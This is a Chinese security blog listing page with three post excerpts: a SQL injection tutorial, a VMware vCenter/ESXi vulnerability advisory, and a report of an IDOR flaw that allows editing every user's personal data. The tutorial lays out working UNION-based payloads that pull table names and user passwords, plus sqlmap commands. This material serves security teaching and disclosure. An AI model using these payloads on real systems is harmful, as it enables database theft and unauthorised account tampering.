  • HW常见攻击方式 -- SQL注入漏洞

    一、产生原因代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。 二、常见挖掘方式 直接对url中的参数(请求参数、请求头)进行注入 Burp抓取post包进行注入 三、判断注入点 单引号判断:如果出现错误回显,则该页面就可能存在sql注入 http://www.webanquangongjuku.com/aiyou.php?id=1' and判断: http://www.webanquangongjuku.com/aiyou.php?id=1' and 1=1 返回正常http://www.webanquangongjuku.com/aiyou.php?id=1' and1=2 如果报错,说明存在注入 or判断: http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' or 1=2 返回正常,说明存在注入 XOR判断:后面的语句如果是正确的,则返回错误页面,如果是错误的,则返回正确页面,说明存在注入点 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1' xor 1=2 加减号数字判断:返回的页面和前面的页面相同,加上-1,返回错误页面,则表示存在注入漏洞 http://www.webanquangongjuku.com/aiyou.php?id=10-1 四、GET请求注入流程: 1、判断是否存在注入 1' 1' and 1=1 2、判断可显示列 1' order by 2#1' order by 3# 1' union select 1,2# 3、查询版本号和数据库 1' union select version(),database()# 4、获取当前数据库的所有表名 1' union select 1,table_name from information_schema.tables where table_schema=database()# 5、获取users表的列名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 6、获取users表的user和password列 1' union select user,password from users# 五、POST请求注入流程 1、通过BurpSuite抓包 2、可以手动判断,但是能用sqlmap就不用手动,所以将该包保存到1.txt文件 sqlmap -r 1.txt 3、查看是不是管理员权限 sqlmap -r 1.txt --is-dba 禁止非法,后果自负 ...

    2021-03-19 607
  • VMware官方通告多个高危漏洞

    漏洞描述 2021年2月24日,酒仙桥六号部队监测到VMware官方发布了多个高危漏洞的通告,CVE编号分别是CVE-2021-21972,CVE-2021-21973,CVE-2021-21974。对此,建议广大用户做好资产自查以及预防工作,以免遭受黑客攻击。 CVE-2021-21972:vSphere Client 远程执行代码漏洞 对端口443具有网络访问权限的恶意攻击者可利用此问题在承载vCenter Server的操作系统上以不受限制的权限执行命令。 CVE-2021-21973:vSphere Client SSRF漏洞 通过网络访问端口443的恶意攻击者可以向vCenter Server插件发送POST请求来利用此问题,从而导致信息泄露。 CVE-2021-21974:ESXi OpenSLP 堆溢出漏洞 在与ESXi相同网段内且可访问端口427的恶意攻击者有可能触发OpenSLP服务中的堆溢出问题,从而导致远程代码执行。 影响范围 CVE-2021-21972:vSphere Client 远程执行代码漏洞 VMware  vCenter Server 6.5 6.7 7.0 VMware  Cloud Foundation(Cloud Foundation) 3.X 4.X CVE-2021-21973:vSphere Client SSRF漏洞 VMware  vCenter Server 6.5 6.7 7.0 VMware  Cloud Foundation(vCenter Server) 3.X 4.X CVE-2021-21974:ESXi OpenSLP 堆溢出漏洞 VMware  ESXi 6.5 6.7 7.0 VMware  Cloud Foundation(ESXi) 3.X 4.X 根据目前360空间测绘系统显示,全球范围内(app:"vmware-ESX"or app:"vmware-VirtualCenter" or app:"vmware-vCenter")共有737,473条数据信息,其中中国使用数量共有93,371个; 全球范围内分布情况如下(仅为分布情况,非漏洞影响情况) 修复方案 官方已经发布安全版本,请及时下载升级至安全版本: CVE-2021-21972:vSphere Client 远程执行代码漏洞 VMware  vCenter Server 6.5  U3n 6.7  U3l 7.0  U1c VMware  Cloud Foundation(Cloud Foundation) 3.10.1.2 4.2 CVE-2021-21973:vSphere Client SSRF漏洞 VMware  vCenter Server 6.5  U3n 6.7  U3l 7.0  U1c VMware  Cloud Foundation 3.10.1.2 4.2 CVE-2021-21974:ESXi OpenSLP 堆溢出漏洞 VMware  ESXi ESXi70U1c-17325551 ESXi670-202102401-SG ESXi650-202102101-SG VMware  Cloud Foundation 4.2 参考链接 ...

    2021-02-25 602
  • 某公共平台个人信息查看处存在全局越权修改

    01 漏洞标题 某公共平台个人信息查看处存在全局越权修改 02 漏洞类型 越权漏洞 03 漏洞等级 高危 04 漏洞地址 http://xxx.xxx.xx.com/er.app.xxxx/apps.html 05 漏洞详情 0x01 注册家政账户后,登录: http://xxx.xxx.xx.com/er.app.xxxx/apps.html 这个是账户A:ceshi   www的个人信息 id=275 这个是账户B:ceshi123   天天的个人信息 id=274 然后在账户A下越权修改B账户的个人信息: 0x02 然后burp下抓包,替换uld参数,将其改成B账户的274 然后到B账户下查看个人信息: 发现B账户中的个人信息被成功越权修改了 这里uld参数是可以遍历的,所以可以直接越权修改所有已注册用户的个人敏感信息: 06 漏洞危害 通过遍历id参数全局越权修改所有已注册用户的个人信息,这样就可以定向的进行诈骗或者是其他的信息贩卖等。 07 建议措施 做好权限的控制,建议添加token。 PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负...

    2020-12-03 660

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注